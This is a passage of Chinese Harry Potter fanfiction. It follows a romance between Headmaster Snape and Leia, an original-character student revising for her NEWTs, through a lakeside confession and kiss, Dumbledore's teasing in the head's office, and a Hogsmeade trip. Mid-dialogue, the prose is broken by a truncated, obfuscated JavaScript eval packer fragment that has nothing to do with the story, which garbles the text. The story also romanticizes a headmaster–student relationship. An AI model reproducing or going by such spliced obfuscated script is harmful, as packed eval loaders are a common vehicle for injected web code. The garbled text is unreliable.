她蓦地撤销咒语,主动退出他的记忆。 魔杖从手中滑下,她大脑空白,背脊发凉。她张了张嘴,然后无力地闭上,什么声音也发不出来,就像记忆里的他般。 她用掌心按住眼下的潮湿,不想让身边人察觉到她的泪水早已爬满脸颊。她突然明白过来,为什么斯内普和布莱克到今日仍然如此剑拔弩张,为什么斯内普对哈利从来没有过好面色——为什么他会在那个雪夜里对她说:“我曾以为他们能给我答案。” 可他赌上了所有的意志和鲜血,却既未在伟大光明的辉煌中找到答案,也未在险峻黑暗的深渊里寻得一丝救赎。 所有的事都显得那么徒劳,层层叠叠,圈圈绕绕,最终回到起点。就像他身上那道无法解开的死结,拧在脖间,捆缚着纵横繁复的丝线,分不清缘由,也理不出因果。 湖边变得更冷,她边抹着眼泪边捂紧震颤不已的左胸,在脱力感全面袭来之前,发现已悄然落入到一个温暖的怀抱。 斯内普接住她滑落的魔杖,也稳稳接住下一秒要滑落的她。他听着她抽泣,手掌一下下抚过她的肩背,有些懊恼地说:“抱歉,我应该选择一个更好的方式。”他温厚的话音把她从那片失意中带回现实,又用这优雅的嗓子故意奚落道:“不过,你现在想反悔还不算太迟。” “……我才不会,就这样离开你。”她想也没想就脱口而出。随后将脸埋入他的衣服里,摇了摇头,反而更用力地抱紧他,贴近他,探身轻吻他的额头,轻抚他黑发和笔直的肩膀,想替他抹平他过去的伤痛。 想起来,他必然是下了再次赴死的决心来回应她的感情。 本已是千疮百孔的他,是为了她而重新拾起趋光的勇气。她直到这一刻才真正意识到这件事。 还好,还不算太晚。 “西弗勒斯。”她轻轻地唤他,擦干泪水。 “嗯?”斯内普保持着一贯的冷冽,脸上平静到什么都没有,就像这漫无边际的夜。 “谢谢你毫无保留地告诉我。”她说,深吸一口气而后静默片刻,脑中擦过许多纷乱的思绪,她最先想到的是昨天的事,突然就生出许多不甘心,于是直接斩钉截铁答复他:“但是如果还有下次,布莱克先生再来的话,我就不会离开了。” “你要做什么?”斯内普挑起眉毛,问她。 “我要告诉布莱克先生,你不是他想的那样。”蕾雅眨眨眼,果断地回答道,“你比他认识的要强大,也比他看到的更洞悉一切。”她稍作停顿,想了想,又说:“还有邓布利多先生,他也太过分了。明明什么都清楚,可是他一点都不紧张。” 斯内普低哼一声,“你不必因为我而疏远那些人。我坐到这个位置之后,也逐渐理解,有些事并非我一个人能掌控。每个决策、每个观点,都有许多得已和不得已,应为和不应为。”瞧见她微微皱眉,他慢慢地解释:“当然,这不意味着我会就那件事宽恕任何人。我从不质疑邓布利多为大局所施舍的善意,但是他对一个人的善意往往会成为对另一个人的恶意。而命运,从来不讲公平。” 命运对他来说,从来都不算公平。 不过至少,它对他仍然算是留有一点仁慈。(2) 斯内普静静地注视着身边这张铺满倔强的脸,沉默一阵,从口袋里拿出怀表,借着湖光瞄了一眼——时间不早,但他还有最关键的话没有对她说。 这么想着,斯内普决定把话题引到他今晚做好决心坦诚的部分。他深知如果他不开口,这将会是横亘在他与近在眼前的幸福之间的一道丑疤。 他已然尝到由她带来的甜蜜,他不愿再因为故作冷漠和隐瞒让她伤心、流泪或离开。 他用前所未有地耐心的语气开口:“能告诉我,你昨天为什么哭了吗?” “我都说我没有……”蕾雅正要辩解。 “等你可以完美盖住你哭过的痕迹,再来跟我说这样的话。”斯内普毫不留情地打断她,继而揶揄道:“至少,聪明点,下次先去洗个脸。” “我只是眼睛有点红了,真的没有哭。”蕾雅鼓了鼓嘴,纠正道。她叹了口气,稍微坐正一些,调整好思绪,缓缓地说道:“其实,我比你预想的要知道更多的事。” “比如?”他的眼中划过疑虑。 “比如说,你一开始就准备好放弃生命。还有……”她停顿半晌,咬了咬唇,继续说:“预言和赎罪的事。” 斯内普盯着怀里人,沉声问:“邓布利多告诉你的?这就是当时上大脑封闭术时你死守的秘密?” “预言的事是后来从哈利和赫敏那里听见的。赎罪和你下定决心离开我们的事是邓布利多先生一开始跟我说的,但是他在我们训练之前就抽走了这些记忆。”蕾雅对身边人露出一个坦然的笑容,“所以,当时我真的没在守什么秘密。” 不愧是邓布利多一贯的手段,一早就设法避免斯内普从她的记忆中摄取到任何不利于计划进行的东西。斯内普淡然地“嗯”了一声,心中有些自嘲地想起,当时竟执着于探求她参与一切的“确切原因”。现在回过头,才明白过来,爱意本身就足够成为理由。 他继续问:“不过,我不觉得你昨天是为这些事哭?” 蕾雅又一次深呼吸,她用指背按住鼻下,让颤抖的声音尽量稳定一些:“我,很像她,是吗?”她看向他,“我知道她对你来说很重要。也知道,你很爱她……所以你肯定早就察觉到,而布莱克先生见到我以后,也看出来了。因为在第一次我遇到斯拉格霍恩教授的时候,他也立刻提到她的名字。” 果然如此。 斯内普没有立刻回答,而是将她搂得更紧,害怕蕾雅会因为他的话而逃跑。他看着她忐忑询问的样子,心中涌起一片怜惜,宛如无数星屑铺天盖地般散落下来,让他下意识地在浩瀚星雨里护住她,深怕一丝一毫的冷意侵扰到她。 是时候了。他必须让她了解这些从未对人说起的事,无论是过去的,现在的,还是未来的。 “你还记得我原来的守护神吗?”他小心翼翼地问,生怕任何多余的情绪会让她难过。 “和她有关,是吗?”蕾雅倒是平静地接过他难以开口的话:“我猜到了,哈利的守护神也是一头鹿。” “是。”他侧过脸,迎着微光紧盯着她的双眼,在里面看到她的踟蹰。他予以无可置疑的真挚来回答她:“那你应该明白,为什么它不再是那样了。至于从前的其他,说实话,我也不确定,但和我现在感受到的不一样。” 蕾雅靠在他胸膛上扬起头看他,问道:“现在?” “现在。”他用肯定的眼神告诉她,她就是现在。 他略一踌躇,再度开口:“还有布莱克,他从来不会放过任何羞辱和伤害我的机会。”他抬起手,温热的指腹按在她的眼底,细细摩挲着,好像就是想将他的心彻底剖白出来,“但是,在我眼里你就是你。过去无论我曾感受过什么,现在让我感到不同的,是你。” “我明白。”她莞尔一笑,把手抚上他的手掌,“我为我昨天的不成熟道歉。” “你永远不必为这些事道歉。” “那,你也永远不必再为这些事向我道歉。好吗,西弗勒斯?”她说。 “我答应你。”斯内普不再抗拒,而是顺从地放下防备,与此同时,一种前所未有的释然笼罩住他。他沉浸其中,挑起眉转向她:“好了,轮到你的小秘密了。” “我的秘密一点也不精彩。”蕾雅靠在他的肩膀上,亲昵地揽着他的手臂,“不过是我小时候的那些事,普通到不行。” “我想听。”斯内普笃定地答道。 她便开始讲,讲她小时候顽皮的事。 讲她第一次显现魔法能力时把家里的玻璃全部炸碎,但雷格纳非但没有责备,反而一脸惊喜。 讲第一次学做饭时把糖和盐搞反了,奥德莉亚毫不在意,一脸平和地把菜都推给雷格纳,而后者不动声色地吃完。 讲奥德莉亚把她送到麻瓜学校的那一天,雷格纳特地叮嘱她如果有人欺负她,就用一点无伤大雅的小恶作剧魔法来还击。 她就这样慢慢地说着,而他慢慢地听着。 的确如她所说,都是些平凡而简单的故事,几乎是每个孩子都会经历的大同小异。但说着说着,她忽然注意到斯内普的表情逐渐凝固,似乎在想什么遥远的事,又似乎在抽离他本身的存在。 “西弗勒斯?”蕾雅歪了歪脑袋,轻柔地挠了挠他的手背,“你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……?”斯内普的身形停滞住,过了好一会儿才反应过来。他情不自禁地勾起讽刺的唇角:“只有傻瓜和笨蛋才会这么做。”他的语调略带谴责,但手指已经攥紧她,十指相扣。 她笑得眉眼弯弯,忽然惊喜地喊道:“啊!流星!” 就在她的呼喊落下的瞬间,湖面倒映的星海里出现一道明亮的弧光。那坠星宛若从宇宙深处窜出,划开一条凌冽的轨迹,带着最明耀纯净的希望洒在湖面的星尘之上,如梦似幻,留下深深的回响。 蕾雅从石头上跃起身,举高左手圈住那颗正在坠落的星星,随即连同斯内普的手一起按在她的双掌中间,形成一个合十祈祷的姿势抵在额前,虔诚地小声喊道:“魔法史和草药学及格!西弗勒斯要健康幸福!我们不会分开!” 斯内普被她一连串过于“敏捷”的动作引得几乎僵在原地,心里第二次开始默想:这真的是傻瓜和笨蛋才会做的事。 但是—— 他再也忍不住笑出声来,那声音带着他特有的沉闷和压抑的快乐,像是某种奇怪的野兽嚎叫。克制的情感让他的薄唇扭曲成一种古怪的形状,话语也因此变得断断续续:“今天我真的算是……叹为观止,莱恩哈特。” 他特意用魔药课时惯有的讥诮语气,还以姓氏称呼,仿佛这样就能跟她划清界限。但黑眸里凝结住的温情再也无处可藏,自然而然地淌在两人之间。 蕾雅偏过头瞪他一眼,偏执地指出重点:“可是我今天抓住了流星!”她扬起下巴,像个等待赞扬的孩子般直视着他,还晃了晃两人扣住的手,加重语调道:“还抓到了你。” 见这位男巫不打算为她所动,蕾雅定定地直视他:“西弗勒斯,你知道吗?一颗流星可能旅行了数年或者数十年才会坠入地球大气层。而眼前这些星星,也都是努力数百万年甚至一亿年才让我们看见。” 一亿年。斯内普因为她的话而敛住眼色。 一亿年是什么概念呢?连魔法界最长寿的尼可·勒梅也就活了六百多岁,与之相比不足为提。 “我怎么不知道你对麻瓜天文学如此热衷?”斯内普感到她的话里有别的意思,终于饶有兴致地接过她的谜语。 “不,一点也不热衷。我只是想说,我既然过了这么久才抓到你。”她温柔地笑开来,“我保证接下来的每一天都不会离开你,再也不会让你一个人。” 浅薄的银色光波顺着涟漪的方向落在她的脸上,让她明眸里的光芒愈发婉转而明亮。那是一种长恒坚定,仿佛是恒星深处传来,又如她身后一整个湖泊的壮丽星尘。那些来自上亿年以前的亘古信念是如此熠熠生辉,而陨石的坠落让它们愈加耀目。 只一眼,如此漫长的努力,终也如愿以偿。 他眼中映出跃动的星光,与那颗同样重获新生的心渐渐同频。他耳根发烫,只好强装若无其事地轻哼一声,手上一拽便把她拉了过来。蕾雅猝不及防跌坐在他腿上,旋即被他固定在怀里。 “不过我倒要看看,究竟是谁抓到谁。”他拉近二人距离。 蕾雅难以置信地挑起眉毛,不甘示弱地以双手攀上他的肩膀,赌气般直直地撞上他,像小兽一样轻咬他微翘的上唇,宣布道:“明明是我。” “是吗?”他不慌不忙地反问。 他完全没打算只用言语便放过她,感受到她的重量和柔软压在身上的片刻,那种日夜困扰他的渴望早就让他再也不想克制。他的右手在这时稳稳地穿过黑袍,环住她纤细的身板,另一只手则按住她的后脑勺不让她轻易逃脱。 面对她有些挑衅的眼色,他报复般回咬眼前人的唇瓣,齿间稍稍用力,趁她微怔的须臾探入舌尖,一下又一下地掠夺阵地,诉说着他的感情。 “西弗……” 这个吻比之前任何一个都更加炽烈。蕾雅湮没在滚烫到颤抖的温热中,身体变得摇摇欲坠,就快要融化成湖中的氤氲。 就在体内那种凶蛮肆虐的涌动几欲挣出的一刻,斯内普叹息着放开她,但又不甘心似的,再俯下身,在她耳后印下一吻,顺沿她白皙的脖颈,最后隔着薄衬衫吻在她的锁骨,令她惊呼着猛抽一口气,倒在他的怀中,彻底被他捕获住。 “你看,胜负已分。”他紧紧地、长久地揽住怀里人,似乎要将她的温度镌刻在骨肉深处。喑哑的嗓音在她耳边响起:“你还有什么想说的?” “嗯……”她感到浑身力气都被抽离殆尽,喘息着:“没有了。” …… 他们勉强赶在宵禁之前回到霍格沃茨。今晚的经历让斯内普感觉仿佛回到了二十年前,尝试了一些本应属于学生时代的叛逆冒险。这种体验实在新奇陌生,令他在想起身为校长还需履行职责的瞬间倍感不适,但显然,这只小狮子还打算让他经历更多从未预料的、不成熟的场景。 “西弗勒斯,我能留着你的长袍吗。” 等他们走到快看到城堡亮光的地方,蕾雅将他的黑袍脱了下来,却没有要还给他的意思。她抱紧衣袍,低声嘟囔着,显得有些不舍:“我想抱着它睡觉。” “什……?”斯内普为这个请求迟疑,但忍不住开始幻想她抱住他的衣服蜷缩成一团的画面。这跟那次她照顾他伤口,揪紧他被褥睡倒在他床边的记忆重合。这么一想,他脸上便不自觉地渗出微热,心里竟然一点也不想拒绝这个无理的请求。 “反正你还有很多件,不是吗?”蕾雅调皮地接着试探。这话的根据其实是她多年的观察,他身上的黑袍虽然看起来都一样,但有一件掉了个扣子,有一件的袖口有点开线,有一件袍角有个烫开的小洞,并不都是同一件。 “那你准备拿什么来换呢?我的衣服可不便宜。”斯内普半眯着眼睛,轻轻捏住她的下巴抬起,居高临下地看她:“先告诉你,我不要你的格兰芬多领带,更不要任何跟校服有关的东西。” 蕾雅正打算把手伸向领带,但听到他的话后顿时停住。她略一思索,转而往上,干脆地解开绑好的马尾,柔顺的黑发在夜色中如瀑布般倾泻而下,让斯内普看得晃神一阵。 而后,她毫无犹豫地把那根发绳塞到他手里,“这可是我最喜欢的,你要好好保管。” “……”斯内普撇了撇嘴角,似是不情愿地捏住。低头一看,棕色的发绳是手工编织起的,上面还挂着一个浅咖色的标签,是一个小熊图案。这刻,他的面色陡然沉了下去。 没给他任何机会拒绝,蕾雅已趁机挟持他的袍子跑进城堡,只留下一句欢快的“晚安,校长”在他耳边。 完了,这辈子肯定都要这么下去了。 斯内普无奈地低叹一声,回过神来时,竟然发现自己已将她的发绳顺势套在手腕。 算了,反正除了她谁也不会看到,又有什么所谓呢。 他边想着边往下拉扯衣袖,转身走向弯曲的庭院小径。 70.甜度 上午十点整,柔金色的日光正将昨夜微凉的晨雾驱散开,像是一块烤得恰到好处的司康搁在窗台。那口感一定是绵密柔软,甜度正佳,配上带点酸涩的杏子酱,美好到让人宛若沉浸在琥珀色的蜜意之中。要是再啜饮一口余韵悠长的红茶,醇香与温暖萦绕,倍感安宁与满足。 这么想着,这位须发如雪的老人将目光从窗外晃眼的金灿收回,慢悠悠地放下空空的甜品盘,端起茶几上的红茶细细品尝一口,在余味的馥郁里满意地点头,丝毫没有在意茶几上堆成小山似的信件。 “我想,”坐在他右手边办公桌旁的黑衣男人冷淡开口,声音薄凉到和室内这些事物全然格格不入,“如果你的脑子没有因为复活后遗症而坏掉的话——你应该还记得这里是霍格沃茨校长室,而不是你的个人茶间。”男人的手指敲打在一沓羊皮纸上,故意将话里的不满拖长,好像这能让这些单词有足够的时间来变成一把利刃,剜向老人。 “噢,西弗勒斯。”邓布利多丝毫没有要放下茶杯的意思,反而朝黑衣男人露出一个略微吃惊的表情,“抱歉抱歉,突然有点不习惯你在周末不去魔法部开会了。你要不要也来块司康?” 斯内普冷冷地哼一声,随手在目下的文件签好霍格沃茨现任校长的名字。 “这段时间辛苦了。战后到现在几乎没停歇。”邓布利多用一种安抚的语气继而道,视线停在斯内普匀速机械式书写的羽毛笔上,缓声说:“不过今天看你,倒觉得脸色比之前好多了。” 斯内普保持着动作,连眼都没有抬。 邓布利多轻叹着搁下薄瓷茶杯,温和地问:“她最近怎么样?” 办公桌前的男巫总算抬起头,眉峰一挑:“你要实在如此心放不下她,我建议你现在就去格兰芬多公共休息室看看。顺便,”他顿了下,讽刺道:“还能关心一下你那个为魁地奇和考试忙得晕头转向的救世主男孩。” “看来不错。”老人自顾自地说着,这才掂起魔杖,着手整理那堆信。随着他的魔杖尖一挑,带有魔法部标记的信便被统统牵引出来,“哦,最近信少了很多。看来魔法部是终于步入正轨了啊。” 事实上,他当然清楚斯内普今天没有去魔法部开会的话,意味着很多事务已整理完毕,不再需要霍格沃茨校长的辅助了。 “金斯莱的能力在魔法部算得上是稀有。”斯内普面不改色地顺着他的话说下去,“食死徒的追捕几乎结束,有线索的都到手了,就剩下逃往国外的那些。各部门的重建也完成到八成。” “速度算快了,金斯莱是个能干的人。只是,人手还是不足吧?”邓布利多将那叠魔法部的信逐一拆开。 “不错,即使让大部分恢复神志的巫师重返岗位,”斯内普用笔尖懒懒地点了个句号,“那场战斗里死去的人比魔法部预估的多得多。甚至,傲罗办公室提出让参战应届生免除NEWTs成绩成为傲罗的政策。” “你怎么看?”邓布利多轻轻敲着魔杖,信纸在空中顺着他的动作舒展开,整齐地归成一叠落在茶几上。 “当然如你所想,我否决了这种无疑是送死的提议,更不会让这种消息传到那些早就想逃避考试的学生耳朵里。”斯内普说着,嘴唇不经意扯出个轻蔑的角度,“本来,魔法部在我们早已做好部署的战斗里还会出现如此惨重的伤亡,不正是因为一贯的自欺和疏于训练的怠工吗?谁能保证不会有下一个伏地魔?谁又能保证——现在没有已埋伏在我们身边?” “我懂你的意思。”邓布利多闻言,欣慰地捋着胡子笑了笑。他明白斯内普这长长一句的反讽里装得清清楚楚的,是对霍格沃茨毕业生最后的保护。他手腕一转,继续整理手头的信件,边道:“说起来前阵子,金斯莱提到,想趁孩子们七月短假办一个凤凰社的庆功宴,顺便庆祝哈利的生日。” “哦。”斯内普换过一份报告书,冷淡地回应。过了一阵,他又干巴巴地补充道:“我再次对我们这位周到的魔法部长的体贴与闲心表示钦佩。” 两人短暂地沉默下来。邓布利多接着拆开几封霍格沃茨职位应聘的申请信,收到一边,打算等申请书积攒到一定数量再与斯内普统一讨论。 然后是其他次要的信件,比如说那些校董们的,或者是表达资助霍格沃茨意向的来信。 再然后,是关心情况的家长来信,而再再然后——邓布利多不由地停滞半晌,脸上铺开一个复杂的神情,那双藏在半圆形眼镜后的蓝色眼睛里浮起不知名的兴致。 “致我亲爱的霍格沃茨校长西弗勒斯·斯内普,”邓布利多一字一顿地念出声,打破房内的宁静。他同时挥了挥魔杖,一叠五彩缤纷的信件分成两小堆落在斯内普左手边,“这些是给你的。” 斯内普原本没打算停住笔的,但硬是被突兀闯进眼中的一抹鲜艳粉色吸引了注意力。他偏过头,视线正正撞上粉色信封上的一颗跳动的红色爱心。仿佛看到什么极为惊悚的事物般,他随即转向邓布利多,满脸嫌恶:“这是什么?” 他话音刚落,头顶画框里探出不少巫师,纷纷向那颗跃动的红心投去好奇和看热闹的目光,“哎呀,现在的魔法都进化到这种程度了吗?”其中一个画像感叹道。 “噢斯内普校长,这多少有点浪漫了。”另一个戴着头巾的女巫做出陶醉的表情。 “右边那一叠是对你的感谢信。”邓布利多朝画像们摆了摆手,像是在打招呼,“至于另外一叠嘛,看来都是你的爱慕者们——别大惊小怪,西弗勒斯,这里还有礼物呢。”他用魔杖指向玻璃茶几上散落着的几盒邮件礼物,花花绿绿的包装纸和长长的丝带跟邓布利多节日时的装扮没什么区别。 斯内普连魔杖都没拿出来,干脆地动了动手指,桌上的信件和那堆礼物盒就倏地变成粉末,凭空消失了。 “都不看一下吗?”邓布利多打趣着说,“说不定有什么有趣的甜点——” “我猜你没忘记韦斯莱上次的下场吧?”斯内普毫不留情地打断他。 邓布利多笑眯眯观察斯内普的反应,随后意味深长地开口:“只怕,后面会寄来更多。” 老巫师再次挥动魔杖,沙发上的《预言家日报》晃晃悠悠地飘起,悬浮在斯内普的面前摊开,自动翻到一则报道——“《斯内普:隐藏在恶棍面具下的圣人?》:霍格沃茨校长西弗勒斯·斯内普个人传记正在紧急制作阶段。丽塔·斯基特将带你深入了解斯内普校长波澜壮阔的人生经历,从他的魔法起步到战后审判的一字一句,独家揭开这位卓越的魔药大师的真实面孔!ps:这位正值壮年的伟大校长至今仍然单身。” 斯内普不理解,最后一句话为什么会被添加上去。 “不打算公开一下自己的情况吗?”邓布利多眼中的关爱浓厚到能让草坪立刻开出花。 “……”斯内普的脸沉了下去,跟墙角那块终不见光的地砖没什么区别。他哽了哽喉咙,非常不容易才忍住要把邓布利多和这份报纸捆成球扔出去的冲动。 邓布利多立即颇为识趣地将报纸收回:“最近越来越多人知晓你的真面目了。我听说,就连隆巴顿那孩子都不怕你了。”他笑眯眯地看着黑发巫师,放轻声音:“这么下去,不少高年级的学生也要慕名而来了。实际上,我都已经替你回绝过好几次。” 斯内普的面色骤然变得更差,黑眸敛散出的冷光硬到可以洞穿霍格沃茨城堡的石墙。 公开肯定是不可能的。 特别是这个时候,公开意味着一大堆麻烦会随之而来,还怎么让她安心备考? 反正,格兰芬多那群该知道、不该知道的狮子们——包括那个领头的狮子教授,都早已心照不宣。就算怎么保守秘密,用不了多久,这些消息自然而然就会私下在霍格沃茨传开。而这种顺其自然也许比冠冕堂皇地公开会来得好些。 不过,要是谣言伤害到她,他也已做好采取不一样措施的准备。斯内普下意识地按了按衣袖里的发绳,默默想着。 “别露出这么可怕的表情,我明白你是想保护她到最后一刻。”邓布利多悠哉地挥舞着魔杖,完成了一封给校董的回信,轻松地转开话题:“说起来,今天是霍格莫德日?难得好天,不如你也去逛逛?说不定能碰上那孩子——” “你的意思是,你会仁慈地留在这里,审完这些报告吗?”斯内普面无表情地掐断了他那句意有所指的话,随手用羽毛笔尾端指了指堆在手边的羊皮纸卷。 “……这些信,字是不是有点太小了。”邓布利多微微眯起眼,放下魔杖和信纸,摘下眼镜在袖子上擦拭着。这个动作对他的单手来说不太容易,让人不由有些心疼。重新戴好眼镜后,老人轻咳一声,抬头若有所思地凝望着天花板:“西弗勒斯,你刚才说话了吗?……啊,是了!麦格教授昨天提醒我要去看看下周的魁地奇场地。”他用左手轻拍自己的前额,低头一笑:“哎,瞧我这记性。要么是老了,要么就是复活的后遗症。” “我并不介意让庞弗雷夫人在你的康复魔药里加点记忆药水。”斯内普毫无保留地反击道,他再次垂下眼睑阅读文件,漠然地说:“既然有事就快出去,别降低我的效率。还有,如果你那么闲,我建议你去看看霍拉斯,让他尽快回来。” “知道,知道。”邓布利多背着手,低笑着挪向门口。 他站在门边,稍微理顺身上绛紫色的星月袍的褶皱,漫不经心地瞟过坐在校长椅上埋头批阅报告的斯内普。 那位男巫显然没发觉自己有个小习惯,当他专注时,总是会无意识地把衣袖往后拉一点——所以,他手上的银环和那根棕色发绳早被看在老巫师眼里。 老人和蔼地勾起微笑,就像刚才品尝到司康和红茶一样满意地扬起下巴,左手捻起魔杖。下一秒,斯内普手侧的羊皮纸便自动分出一半飞到他手里:“正好,路上可以看看这些。” 斯内普没有多说一句话。他维持着高效的速度完成了三份文件,等邓布利多走远,画像们自觉无趣而重新陷入沉寂,才不紧不慢地扯开袖口。 银环上刻着一句话,有一段时间了: 「我在霍格莫德,要帮你带点什么吗?」 手中的羽毛笔正好结束一个优美的字母弧度,他思索片刻,回了她一句:「等等猫头鹰」。 接着,他随意地抽出一张空白羊皮纸,列下几种因战后供给没有跟上而库存告急的材料。 …… 推开沉重的店门,阳光伴随着叮叮哐哐的铃声热情地浇了他们全身。这种适度的暖像是融化开的甜润蜜糖,沿着格兰芬多的领带淌下,在两人的脚边洒落一地的斑驳。 蕾雅被光线晃得眯了眯眼,身体不自觉地背过去,好看清手上的羊皮纸清单。而纳威在她的身边,正忙着把刚购入的魔法剪刀和控温布块等园艺工具放进斯普劳特教授给他的魔法口袋。是的,他们来霍格莫德的目的是为了帮斯普劳特教授采购温室需要的几样物品。 “还有什么没买?”纳威把口袋扣上,问道。 “就剩下种子和肥料了。”蕾雅在最后一件魔法工具的名字上划上一条横线,望向街上的热闹,颦蹙着提议:“魔法植物店在另外一头,我们要不要先吃点东西?” “好啊。”纳威收好口袋,也看见了四周熙熙攘攘、吵吵闹闹的小巫师们,“趁现在还算早,不然等下肯定没位置了。” 是的,今天的霍格莫德里挤满了兴奋的小巫师们,毕竟这是战后第一次的霍格莫德出行日。而这条魔法村庄也已恢复往日的繁华,大多数的店铺都重新营业,不算宽的街道上盈满了烘焙甜点和爆米花的香气,还有各色庆祝战争胜利的横幅和彩旗在路旁随风摇曳,在同样欢喜的太阳照耀下,制造出一种节日的气氛。 小巫师们可高兴坏了,尤其是那些今年刚入学便遭遇战争的孩子们,一双双纯真的眼睛瞪得大大的,对橱窗里所有能动的东西都有旺盛到吓人的探究欲望。 蕾雅跟纳威特意避开喧闹的猪头酒吧和三把扫帚,拐进光芒稀碎的后巷,沿着坡地台阶攀爬往上,来到一家位于霍格莫德广场边缘的茶馆。茶馆外面是几张露天的圆桌,有三两的巫师和学生们晒着暖阳品茶,蕾雅和纳威小心绕开他们,停在茶馆这扇系着一串气球的黄色木门前。 还没等蕾雅伸手拉门,她的眼角蓦地注意到空中一个眼熟的小身影。 那是一只深灰色的长耳鸮,圆圆脑袋上的直立耳羽实在过于醒目,以至于蕾雅马上认得出来是斯内普的猫头鹰。 “等一下,纳威。”蕾雅对身边人说。纳威点点头,也顺着她视线的方向望到了猫头鹰。 蕾雅抬起手臂,猫头鹰熟稔地落下来,用毛茸茸的头蹭了蹭她正要去拆邮件的手,显然是对她很亲昵,“抱歉呢,今天身上没有带给你的肉干。”她弓起食指轻抚鸟儿胸脯的翎毛,才仔细地拆下绑在它脚上的东西。 “在霍格莫德还能收到信?”纳威笑着问她,从裤子口袋里摸出几颗莱福的饲料递过去。长号鸮盯着那几颗黑乎乎的团子思索了一会儿,最终不情不愿地衔起一颗,扑棱着翅膀飞走了。 “看来它不太喜欢这个。”纳威眺望着猫头鹰离开的方向,遗憾地说。 蕾雅摇了摇头,笑得欢快:“大概是因为那是西……斯内普校长的猫头鹰。”斯内普平时喂给猫头鹰的肉干可都是特别挑选过的。 想起来,他确实就是这样的人。明明对自己的事总是极简到仿佛没有欲望,但对在意的事物或者人却会分外用心,全无保留。而且他本人并没有意识到这一点。 “斯内普校长?”一向憨厚的纳威友好地忽视掉她的失言,终于拉开茶馆的门。 “他拜托我顺便带些魔药材料回去。”蕾雅边走进茶馆,边低头看那张斯内普寄来的清单。 清单上列着一些需要大量补充的蒲公英根、流液草茎等魔药材料,还有几瓶缓和剂精华以及……十个坩埚?!看来低年级的学生们是在挑战斯内普校长的容忍极限啊。 她忍住笑往下读,结尾一行却是一句跟魔药没什么关系的话语:“帮我去杂货店取一个包裹,我已通知店长。”蕾雅没打算过多在意这句话,折好清单,把它和送来的魔法口袋以及一袋金加隆塞进书包里。 “蕾雅和纳威?”走上茶馆人比较少的二楼,一抬头就看见坐在花草簇拥的角落里的赫敏和罗恩,正朝他们挥手。 “哦,躲在这约会呢?”蕾雅对赫敏调皮地眨眨眼,和纳威走了过去,毫不客气地拉开椅子挤在两人中间坐下。 桌上放着两盘装过午餐的空盘子,还有两三个空杯,看来两人在这里呆了一段时间。果然,赫敏漫不经心地搅拌着手里的饮料说道:“外面人这么多,一点逛的心情都没有。” “我都不知我们今年新生还有那么多,简直每个店里都是那些吵闹的小孩子。”罗恩悻悻地附和道。 “哈利和金妮都去魁地奇训练了吗?”纳威拿起菜单,先递给蕾雅。 “是啊,本来他都不打算上场了,早上金妮劝了几句,又去了。”罗恩做了个无奈抱起双臂的动作,放松身子靠到椅背上。 “那你不参加吗?”蕾雅低头粗略地做出午餐抉择,随口一问,顺手将菜单还给纳威。 “有金妮就够了,再说……”罗恩打住话,眼珠灵敏地一转,暗示性地歪向赫敏的方位。 赫敏理所当然地察觉到他的小动作,佯装生气地在罗恩面前挥了挥手,“喂,浪费时间记不住知识点可不是我的错。” 罗恩皱了皱鼻子,吸了一大口黄油啤酒后决定将火力转向蕾雅:“我听爸爸说,傲罗办公室原本打算让参加过战争的学生免除NEWTs成绩直接入职,”他的脸上有点抱怨的味道:“结果是斯内普把这个提议砍了。不然我都准备去报名了!” “我跟你说过了,斯内普校长是怕你们去送死!”在蕾雅仍处于后知后觉过来为什么罗恩要看着她说的时间里,赫敏已迅速反驳道:“你知不知道没有通过考试就成为傲罗去战斗有多么危险?” “我们都打败伏地魔了诶!”罗恩争辩道。 “是,那下次要是没这么好运呢?”赫敏咚地一声放下饮料杯,略带严肃地说:“而且以后我也不能总跟你和哈利一起行动呀。所以你是想永远扔下我一个人吗?” “呃……”罗恩立即想起当时因为魂器而离开赫敏和哈利的事。须臾间,他身上那股无所畏惧的气势突然像被烈阳晒干的水渍一样,蒸发殆尽了,声音也立刻弱了下来:“我不是这个意思……” 不过,目睹到两个人感情这么好的互动,蕾雅和纳威倒是笑得开怀,也丝毫没有劝架的意思。 真好啊,战争结束的日子。能看到这温馨又有趣的画面,真好。想着想着,她沉浸在漾起的暖意中,愉快地喝了一大口刚送上来的冰拿铁。 午餐过后,百般聊赖的罗恩和赫敏决定加入蕾雅和纳威的采购行程。四人穿过拥挤的人群,来到小河的对岸。这边的人少了很多,他们顺延河水奔流的方向,踩着被晒得锃亮的鹅卵石一家家店铺寻过去,终于收集完两张清单上的全部物品。没有过多停留,他们决定就这么返回霍格沃茨,准备NEWTs的复习。 看来今天确实是个适合收信的日子。 父亲的信件是在晚饭时刻送到的,紧跟着的还有一封由一只她没见过的褐色猫头鹰送来的信。 嗯,也没写落款人。蕾雅没有多想,快速将两封信扔进书包。起身时,她下意识地朝教师席的方向瞄了一眼,随即转身离开礼堂。 与其同时,教师席上坐在正中间的黑发男人也放下餐具,拿起餐巾擦拭过嘴角便绷着脸走下餐席。他像往常那样从礼堂后方的小门走出去,完全没有在意一左一右邓布利多和麦格洞悉明了的眼色。 不久之后,他们会在那间地窖办公室里相见。最近只要斯内普稍微有空的日子,都会是这样的安排。 不得不说,斯拉格霍恩的病假至少还是有一点好处。斯内普可以暂时在这间办公室单独陪着她复习,而不是在校长室那堆过分八卦的画像眼皮底下开展这个活动。 闲暇的时候,他会坐在她的身旁,一项项细看她当天的复习进展。忙碌的时候,他们也会无声地陪伴着对方完成任务。 当然,平静安然的日子也并不是一点没有波澜。毕竟斯内普除了接过斯拉格霍恩的教学任务,还得暂时兼任回斯莱特林学院的院长职责。而那群小巫师明显是被斯拉格霍恩惯坏了,一些琐碎的小事都要来敲这间办公室的门——谁谁不小心又擦破皮受伤,谁谁和谁又在公共休息室吵架。 每当这个时候,蕾雅秉持着多一事不如少一事的原则,都会悄悄躲在斯内普的办公桌后,靠着他的腿侧坐下。这位院长听着小蛇们的难题,垂下的手时不时会故意地掠过她的发顶或者脸颊,让她的心里长出一种心虚而又难以抑制的幸福感。 而真正令人不顺意的波澜还指代别的事情,比如说,蕾雅的魔法史复习进程。 